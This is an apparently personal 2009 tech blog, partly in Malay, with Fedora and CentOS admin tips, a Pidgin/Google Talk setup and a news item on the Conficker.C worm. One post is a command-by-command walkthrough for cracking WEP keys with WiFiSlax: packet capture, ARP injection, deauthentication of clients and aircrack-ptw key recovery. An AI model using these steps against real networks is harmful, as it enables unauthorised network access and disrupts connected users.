Sunday, May 31, 2009

Fedora 10 : Repair Grub Boot Loader yg rosak

1) Masukkan CD Fedora 10 & pilih mode repair

2) Di command prompt, taip:
fdisk -l /dev/sd utk senaraikan partition yg ada fedora (swap, / dan /boot)
Contoh PC aku: sdb6 /boot, sdb7 swap & sdb8 /

3) Taipkan:
chroot /mnt/sysimage
grub-install /dev/sdb

4) Taipkan:
Exit utk reboot PC

sdb = coz' sdb6, sdb7 & sdb8 (based kpd PC aku)

Friday, May 29, 2009

Fedora 10 : How to fix NetworkManager

It's an ever persistent bug in NetworkManager, here's how to fix it:

1) Open a Terminal and log in as root

2) Turn NetworkManager off at boot
# chkconfig NetworkManager off

3) Stop the NetworkManager service
# service NetworkManager stop

4) Edit your configuration file for your network interface (eth0 as an example)
# nano /etc/sysconfig/networking/devices/ifcfg-eth0

Assuming the following configuration:
IP = 192.168.1.1
GW = 192.168.1.250
SNM = 255.255.255.0

Make sure the following is in the file:
Device=eth0
HWADDR=XX:XX:XX:XX:XX:XX
ONBOOT=yes
BOOTPROTO=none
PEERDNS=yes
USERCTL=no
NM_CONTROLLED=no
TYPE=Ethernet
BROADCAST=192.168.1.255
NETMASK=255.255.255.0
NETWORK=192.168.1.0
IPADDR=192.168.1.1

Hit CTRL-X to quit, then 'y' to confirm the changes, and ENTER to save under same file name

5) Edit the configuration file for your DNS servers
# nano /etc/resolv.conf

Assuming the following configuration:
DNS Server 1 = 192.168.1.210
DNS Server 2 = 192.168.1.211

Make sure the following lines are in the file:

nameserver 192.168.1.210
nameserver 192.168.1.211
#Google
nameserver    8.8.8.8
nameserver    8.8.4.4

Hit CTRL-X to quit, then 'y' to confirm the changes, and ENTER to save under same file name

6) Restart your network
# service network restart

If you get a FAILED message about a panX interface, don't worry about it.

Tuesday, May 26, 2009

hp LaserJet 2430 printers

Link Pin Codes:
http://www.scribd.com/doc/3866365/hp-laserjet-service-menu-pin-codes

http://www.fixyourownprinter.com/forums/printer/47349

Fedora 10 : VLC Movie Player

Fedora 9 and Fedora 10

Use RPM Fusion for F9 and F10 (available for x86, x86_64, ppc and ppc64)
Install rpmfusion-free-release-stable.noarch.rpm for F9 and f10

  $> su -
#> rpm -ivh http://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-stable.noarch.rpm
#> yum install vlc
#> yum install mozilla-vlc (optionnal)

Fedora 8

Use RPM Fusion for F8 (available for x86, x86_64 and ppc)
Install rpmfusion-free-release-stable.noarch.rpm for F8

$> su -
#> rpm -ivh http://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-stable.noarch.rpm
#> yum install vlc
#> yum install python-vlc mozilla-vlc (optionnals)

Fedora 7

Use RPM - LIVNA for F7 (available for x86, x86_64 and ppc)
Install livna-release-7.rpm for F7

 $> su -
#> rpm -ivh http://rpm.livna.org/livna-release-7.rpm
#> yum install vlc
#> yum install python-vlc mozilla-vlc (optionnal)

Fedora 6

Use RPM - LIVNA for F6 (available for x86, x86_64 and ppc)
Install livna-release-6.rpm for F6

$> su -
#> rpm -ivh http://rpm.livna.org/livna-release-6.rpm
#> yum install vlc
#> yum install python-vlc mozilla-vlc (optionnal)

Link:
http://www.videolan.org/vlc/download-fedora.html
http://forums.fedoraforum.org/showthread.php?t=215164

Thursday, May 14, 2009

Fedora 10 : Install IE dlm Fedora

yum -y install wine*
yum -y install cabextract


wget http://www.tatanka.com.br/ies4linux/downloads/ies4linux-latest.tar.gz
tar zxvf ies4linux-latest.tar.gz
cd ies4linux-*
./ies4linux

Link:
http://forums.fedoraforum.org/showthread.php?t=154518

Monday, May 11, 2009

Retrieve WEP Key using WiFiSlax and Intel Centrino Chipset

This tutorial show your how to retrieve WEP Key using WiFiSlax and Intel Centrino Chipset.

Requirement

  • Notebook with Intel Centrino Chipset 2200 above
  • WiFiSlax 3.1 (Download)
  • Cup of coffee with two cigarettes ;p

Instruction

  1. Download WiFISlax image and burn to CD
  2. Boot the notebook using the CD
  3. Login using “root” and password is “toor“
  4. Once started, open the X:
    startx
    Note: This CD contains Spanish language, use Google Translate if needed

Step 1: Load Driver

  1. To load Intel driver, click K Menu > Asistencia Chipset > Asistencia Intel pro wireless > Cargar ipw3945 injection (depend on your chipset)
  2. To find target Channel, use Kismet to scan all network wireless (K Menu > Wifislax > Herramientas Wireless > Kismet)

Step 2: Start Capturing

  1. Set the channel of the Access Point in the NIC
    echo 'Channel' > /sys/class/net/wifi0/device/channel
  2. Scan all wireless network to get the BSSID and the ESSID type:
    airodump-ng rtap0

    Finish the execution with CONTROL-C

  3. Set the BSSID in the NIC
    echo 'BSSID' > /sys/class/net/wifi0/device/bssid
  4. Start capturing using the command
    airodump-ng -c CHANNEL -w /path/to/save/OUTPUT_FILE rtap0

Step 3: Injection Traffic

  1. Capturing take a while so open new terminal window and set speed 2Mbps:
    echo '2' > /sys/class/net/wifi0/device/rate
  2. Activate the NIC:
    ifconfig wifi0 up
  3. Look at your MAC address
  4. Initiate an association with the Access Point
    aireplay-ng -1 0 AP_BSSID -h YOUR_MAC_ADDRESS_WIFI -e AP_ESSID wifi0
  5. Start the injection traffic:
    aireplay-ng -3 -b AP_BSSID -e AP_ESSID -h YOUR_MAC_ADDRESS_WIFI wifi0

    This should increment the number of data in capture window.

Step 4: Deauthenticate clients if needed

Deauthenticate Clients if needed to increase the ARP request capture, type:

aireplay-ng -0 15 -a AP_BSSID -c CLIENT_MAC_ADDRESS_WIFI wifi0

Step 5: Apply Aircrack-PTW

When the data packet between 40,000 and 85,000+ data, extract the key by executing:
aircrack-ptw /path/to/save/OUTPUT_FILE.cap
and voila..

Found key with len 05: XX XX XX XX XX

where XX XX XX XX is WEP Key

This is manual tip using WIfiSlax. I will give you easy way how to retrieve WEP key using the same tool..

DISCLAIMER: This is for testing environment and educational purpose only. I cannot guarantee the accuracy or validity of the material submitted. You agree that your use of the tips and your reliance on any questions, answers, information or other materials received through this site is at your own risk.

Fedora 1: MPlayer

Utk: 3gp movies

yum install mplayer mencoder

yum install -y mplayer mplayer-gui mplayer-codecs

Saturday, May 9, 2009

Cron Job

minit jam hari bulan hari_seminggu command
FieldRange of values
minute0-59
hour0-23
day1-31
month1-12
day-of-week0-7 (where both 0 and 7 mean Sun, 1 = Mon, 2 = Tue, etc)
command-line-to-executethe command to run along with the parameters to that command if any

Contoh:
if you want a certain command to run at 5.30 am, you will have to code it as:
30 5

If you want something run at 8 pm, it has to be coded as
0 20

if you want a command run on 5th January at 9.15 am, your schedule should begin with the following:15 9 5 1

If you want a particular program to run, say, once every day at 10.45 am, the time portion of the cron schedule should read:45 10 * * *

The first two fields "45 10" means that you want it to run at 10.45. The next field, the day field, is set to * (the asterisk character) to show that we're talking about 10.45 every day, not just the 1st of the month (which would be "1") or the 30th of the month ("30") or some other number.

The month field is set to the asterisk as well. If we set some number in the month field, say "2", we will be saying that we only want the command to run at 10.45 in the month of February ("2"). Since that's not what we need, we put the asterisk to mean every month.

Similarly, the day-of-week field is set to the asterisk, because we want the command to run whether it's Sunday ("0") or Monday ("1") or whatever day.

if you want a job to run every hour on the hour, you will have to set the time component of the crontab line as follows:0 * * * *

If you want something to run once every two hours, you will have to use the slash, "/", character in your field. The slash character is the "step" character. In the case of a two hourly schedule, your time component of your cron file will read:

* */2 * * *

The second field, "*/2", means every alternate hour.

Similarly, if you want something to run every 3 hours, you can change that field to "*/3", and so on.

If you want a particular command to run only at 8.00am on the 1st and 20th of every month, you should code the time as:
0 8 1,20 * *

The comma, ",", means "and". If you are confused by the above line, remember that spaces
are the field separators, not commas.

Link:
http://www.thesitewizard.com/general/set-cron-job.shtml

http://www.adminschoice.com/docs/crontab.htm

Tuesday, May 5, 2009

Fedora 10 : Installing VLC

http://www.videolan.org/vlc/download-fedora.html

How to make VLC default player:
http://wiki.videolan.org/How_to_make_VLC_the_default_player
ps: yg ni xmenjadi

Yg ni okey:
* Right-click on the video file that you want VLC to open.
* Choose properties.
* Now in the properties window click on the tab named Open With.
* In the tab Open With just choose VLC as your player for that type of file.

Just remember that you will have to do this for each an every type of video/audio file(ex: mpg, avi, rm, mkv, ogg, mp3 etc)

Fedora 10 : Update (xmms)

Link:
http://www.yolinux.com/TUTORIALS/LinuxTutorialMozillaConfiguration.html#EXTENSIONS

Thursday, April 16, 2009

Pidgin - Setting Google Talk

How to configure Pidgin to work with Google Talk

Pidgin (earlier Gaim) is a multiple protocol Instant Messenger client which can be used to chat using MSN, Yahoo, AIM and many other protocols. But most people do not know that you can use Pidgin to chat with Google Talk users.

Pidgin supports a protocol called XMPP (Extensible Messaging and Presence Protocol). XMPP is the core protocol of the Jabber protocol and GTalk is also based on the Jabber protocol. So it is quite easy to make Pidgin to work with GTalk.

How to configure Pidgin to work with Google Talk

  1. Download & Install the latest version of Pidgin.
  2. Open Pidgin and go to Add / Edit Account window of Pidgin.
  3. From the drop-down box choose XMPP as the Protocol.
  4. For the Screen name enter your Google Id (Gmail Id). eg. manast86
  5. For Server enter gmail.com
  6. You can leave the Resource with the default "Home".
  7. In the Password field enter your Google ID password.
  8. Enter Local alias as whatever you want to.
That's it. Now you can start chatting with your GTalk buddies using Pidgin while keeping in touch with users of other IM users also. Now, who needs separate YIM and GTalk instant messengers open.

********************************************************

Some readers have reported that they are getting “Connect Error” when saving the account. If you get the same error, try going to the advanced tab and enter the following settings…

Force old (port 5223) SSL: Checked
Allow plaintext auth over unencrypted streams: Un-Checked
Connect Port: 443
Connect Server: talk.google.com
Proxy type: Use Global Proxy Settings

Hope it works now.

Link : http://www.manast.com/2007/05/11/how-to-configure-pidgin-to-work-with-google-talk/

********************************************************

Setting GTalk Cengko



Tuesday, April 14, 2009

CentOS - Firefox : Plugins Masih Terpapar Walapun Dah Installed

Plugins dah install (status : already installed) tapi masih keluar mesej "Install missing plugins" di Mozilla Firefox.

Cara :

1) Buka Mozilla Firefox
2) Buka "about:config"
3) Cari "plugin.default_plugin_disabled"
4) Tukarkan status dari
"TRUE" kepada "FALSE"

Nota:
To completely disable the yellow plugin bar that tells you that you're missing plugins, in about:config set the preference plugin.default_plugin_disabled to false. There is currently no way to disable the bar for only certain plugins or for certain sites.

CentOS Linux - 'Disable'kan Automatic Updates

Hi all! I cannot figure out how to disable the notification of the availability of certain updates (e.g. the kernel updates) in the "Package Updater" (pup). I know I can uncheck some packages from the list to not apply updates and stick with the currently installed version, but how can I do this automatically? Is there a kind of black list to put somewhere? Thank you.

Cara :

Edit /etc/yum.conf and add the following line in the main section in order to exclude the kernel packages:

Dalam Terminal :
1) Taip "su - " ENTER
2) Masuk password administrator
3) vi /etc/yum.conf ENTER
4) Lepas [main] taip kan

exclude=kernel*

5) Save & Exit.

Monday, March 30, 2009

CyberSecurity usaha tangani Conficker.C

KUALA LUMPUR: CyberSecurity Malaysia, pusat pakar nasional bagi keselamatan siber, sedang berusaha untuk menangani sebarang

kemungkinan kesan ulat Conficker.C kepada pengguna komputer.

Ketua Pegawai Eksekutif CyberSecurity Malaysia, Lt-Kol (Bersara) Husin Jazri, berkata CyberSecurity bekerja sama rapat dengan pendaftar domain .my dan rakan kongsi antarabangsa lain untuk mengurangkan penyalahgunaan domain oleh Conficker.
“Situasi terkawal dan nasihat ini adalah sebahagian daripada inisiatif kesedaran kami untuk memaklumkan perkembangan terkini kepada orang ramai mengenai apa yang sedang berlaku berkaitan dengan keselamatan ruang siber," katanya dalam satu kenyataan di sini, hari ini.

Conficker.C adalah versi ulat yang diubah suai dan diprogram untuk dihubungkan kepada domain secara rawak bermula Rabu ini.

Ia menyerang komputer dengan sistem operasi tetingkap yang tidak dikemas kini atau dilindungi dan kemudiannya menghubungkan kepada laman web milik pencipta ulat conficker untuk dapat kembali arahan mengenai “what to do next” ("apa yang perlu dilakukan seterusnya"). 

CyberSecurity menerusi Malaysia Computer Emergency Response Team (MyCERT) telah mengeluarkan kenyataan amaran berkaitan Conficker.C pada Januari.

Kenyataan amaran itu boleh diakses menerusi: laman web http://www.mycert.org.my/en/services/advisories/mycert/2009/main/detail/647/index.html

Husin menasihatkan pengguna komputer mengemas kini sistem operasi tetingkap dalam komputer mereka dan merujuk kepada kenyataan yang menerangkan langkah untuk menangani ulat tersebut.

“Kami amat menggalakkan orang awam untuk sentiasa mengunjungi laman web kami untuk membaca perkembangan terkini kami dan nasihat mengenai Conficker.C worm.
Organisasi dan individu juga dinasihatkan melapor kepada keselamatan siber insiden seperti serangan perisian bahaya dalam komputer mereka menerusi emel kepada cyber999@cybersecurity.my untuk analisis dan tindakan selanjutnya oleh pakar keselamatan siber kami," katanya. - Bernama